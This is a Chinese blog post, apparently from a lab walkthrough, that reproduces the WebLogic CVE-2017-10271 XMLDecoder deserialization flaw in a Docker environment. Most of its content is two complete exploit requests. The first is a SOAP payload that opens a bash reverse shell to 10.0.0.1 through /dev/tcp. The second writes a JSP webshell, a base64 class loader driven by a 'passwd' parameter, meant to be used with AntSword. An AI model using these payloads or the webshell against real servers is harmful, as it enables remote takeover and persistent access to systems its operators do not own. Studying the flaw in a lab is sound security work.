首页 > 其他分享 >Weblogic < 10.3.6 'wls-wsat' XMLDecoder 反序列化漏洞(CVE-2017-10271)

Weblogic < 10.3.6 'wls-wsat' XMLDecoder 反序列化漏洞(CVE-2017-10271)

时间:2023-11-27 20:03:05浏览次数:38  
标签:10.3 XMLDecoder 10271 wls Accept wsat 2017 序列化

Weblogic < 10.3.6 'wls-wsat' XMLDecoder 反序列化漏洞(CVE-2017-10271)

Weblogic的WLS Security组件对外提供webservice服务,其中使用了XMLDecoder来解析用户传入的XML数据,在解析的过程中出现反序列化漏洞,导致可执行任意命令。

环境搭建

cd weblogic/CVE-2017-10271
docker-compose up -d
docker-compose config

打开页面
img

漏洞复现

burp抓包修改为以下内容(注意其中反弹shell的语句,需要进行编码,否则解析XML的时候将出现格式错误):

POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: your-ip:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 633

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i &gt;&amp; /dev/tcp/10.0.0.1/21 0&gt;&amp;1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

img
img

写入webshell(访问:http://your-ip:7001/bea_wls_internal/test.jsp):

POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: your-ip:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 638

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
    <soapenv:Header>
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
    <java><java version="1.4.0" class="java.beans.XMLDecoder">
    <object class="java.io.PrintWriter"> 
    <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp</string>
    <void method="println"><string>
    <![CDATA[
<%!
    class U extends ClassLoader {
        U(ClassLoader c) {
            super(c);
        }
        public Class g(byte[] b) {
            return super.defineClass(b, 0, b.length);
        }
    }
 
    public byte[] base64Decode(String str) throws Exception {
        try {
            Class clazz = Class.forName("sun.misc.BASE64Decoder");
            return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
        } catch (Exception e) {
            Class clazz = Class.forName("java.util.Base64");
            Object decoder = clazz.getMethod("getDecoder").invoke(null);
            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
        }
    }
%>
<%
    String cls = request.getParameter("passwd");
    if (cls != null) {
        new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
    }
%>
    ]]>
    </string>
    </void>
    <void method="close"/>
    </object></java></java>
    </work:WorkContext>
    </soapenv:Header>
    <soapenv:Body/>
</soapenv:Envelope>

使用蚂剑连接,密码为passwd:
img

标签:10.3,XMLDecoder,10271,wls,Accept,wsat,2017,序列化
From: https://www.cnblogs.com/kalixcn/p/17860310.html

相关文章

  • C# Json序列化的格式化问题
    问题来源: 客户要求传送给他的JSON文件的float型格式化为2位小数,数值型有30-40个栏位,一个一个修改也不是很好.bing和百度找到的方式都是自己定义一个JsonConverter,进行格式化.找到的都是在字符串两边加++的例子,核心转化的代码如下:classStringFormatConverter:JsonCo......
  • day05 K8S网络组件的深度剖析 (1.10.1 -1.10.3)
    一、K8S网络组件的深度剖析上1、认识FlannelFlannel是专为kubernetes定制的三层网络解决方案,主要用于解决容器的跨主机通信问题优势:kubernetes发行版都可以默认安装Flannel容器安装和配置中小型网络架构首选不需要专用的数据存储劣势:性能损耗高不支持NetworkPolic......
  • php反序列化
    serialize()函数“所有php里面的值都可以使用函数serialize()来返回一个包含字节流的字符串来表示。序列化一个对象将会保存对象的所有变量,但是不会保存对象的方法,只会保存类的名字。”在程序执行结束时,内存数据便会立即销毁,变量所储存的数据便是内存数据,而文件、数据库是“持久......
  • 【Django进阶】django-rest-framework中文文档——序列化器
    搭建环境使用django-rest-framework中文文档——快速入门中的虚拟环境。新建snippets应用程序python.\manage.pystartappsnippets注册相关应用程序,例如当前应用,rest_framework创建数据库模型编辑snippets/models.py文件fromdjango.dbimportmodelsfrompygments.le......
  • 关于AssetBundle禁用TypeTree之后的一些可序列化的问题
    1)关于AssetBundle禁用TypeTree之后的一些可序列化的问题2)启动Unity导入变动的资源时,SingletonScriptableObject 加载不到3)Xcode15构建Unity2022.3的Xcode工程,报错没有兼容的iPhoneSDK这是第361篇UWA技术知识分享的推送,精选了UWA社区的热门话题,涵盖了UWA问答、社区帖子等技术......
  • springboot 控制序列化反序列化示例(接口返回数据处理/接口接收数据处理)
    1.返回Long转JSONpackagecom.mingx.drone.config;importcom.fasterxml.jackson.core.JsonGenerator;importcom.fasterxml.jackson.databind.JsonSerializer;importcom.fasterxml.jackson.databind.SerializerProvider;importjava.io.IOException;/***@Descript......
  • Java基础知识回顾5-序列化和反序列化
    一、概念Java序列化是指把Java对象转换为字节序列的过程。Java反序列化是指把字节序列恢复为Java对象的过程。序列化作用:在传递和保存对象时,保存对象的完整性和可传递性,对象转换为字节流,可以站网络上传输或者保存在本地文件中。反序列化作用:根据字节流中保存的对象状态及描述信息......
  • java反序列化----CC7利用链学习笔记(Hashtable)
    目录java反序列化----CC7利用链学习笔记(Hashtable)环境搭建利用链java反序列化----CC7利用链学习笔记(Hashtable)环境搭建jdk8u71<dependency><groupId>commons-collections</groupId><artifactId>commons-collections</artifactId>......
  • 【Django-DRF用法】多年积累md笔记,第(4)篇:Django-DRF反序列化详解
    本文从分析现在流行的前后端分离Web应用模式说起,然后介绍如何设计RESTAPI,通过使用Django来实现一个RESTAPI为例,明确后端开发RESTAPI要做的最核心工作,然后介绍DjangoRESTframework能帮助我们简化开发RESTAPI的工作。全套DRF笔记直接地址:请移步这里共5章,24子模块,总计1......
  • java反序列化----CC6利用链学习笔记(HashMap和HashSet)
    目录java反序列化----CC6利用链学习笔记环境配置利用链java反序列化----CC6利用链学习笔记环境配置jdk8(无版本要求)pom.xml中写入<dependency><groupId>commons-collections</groupId><artifactId>commons-collections</artifactId>......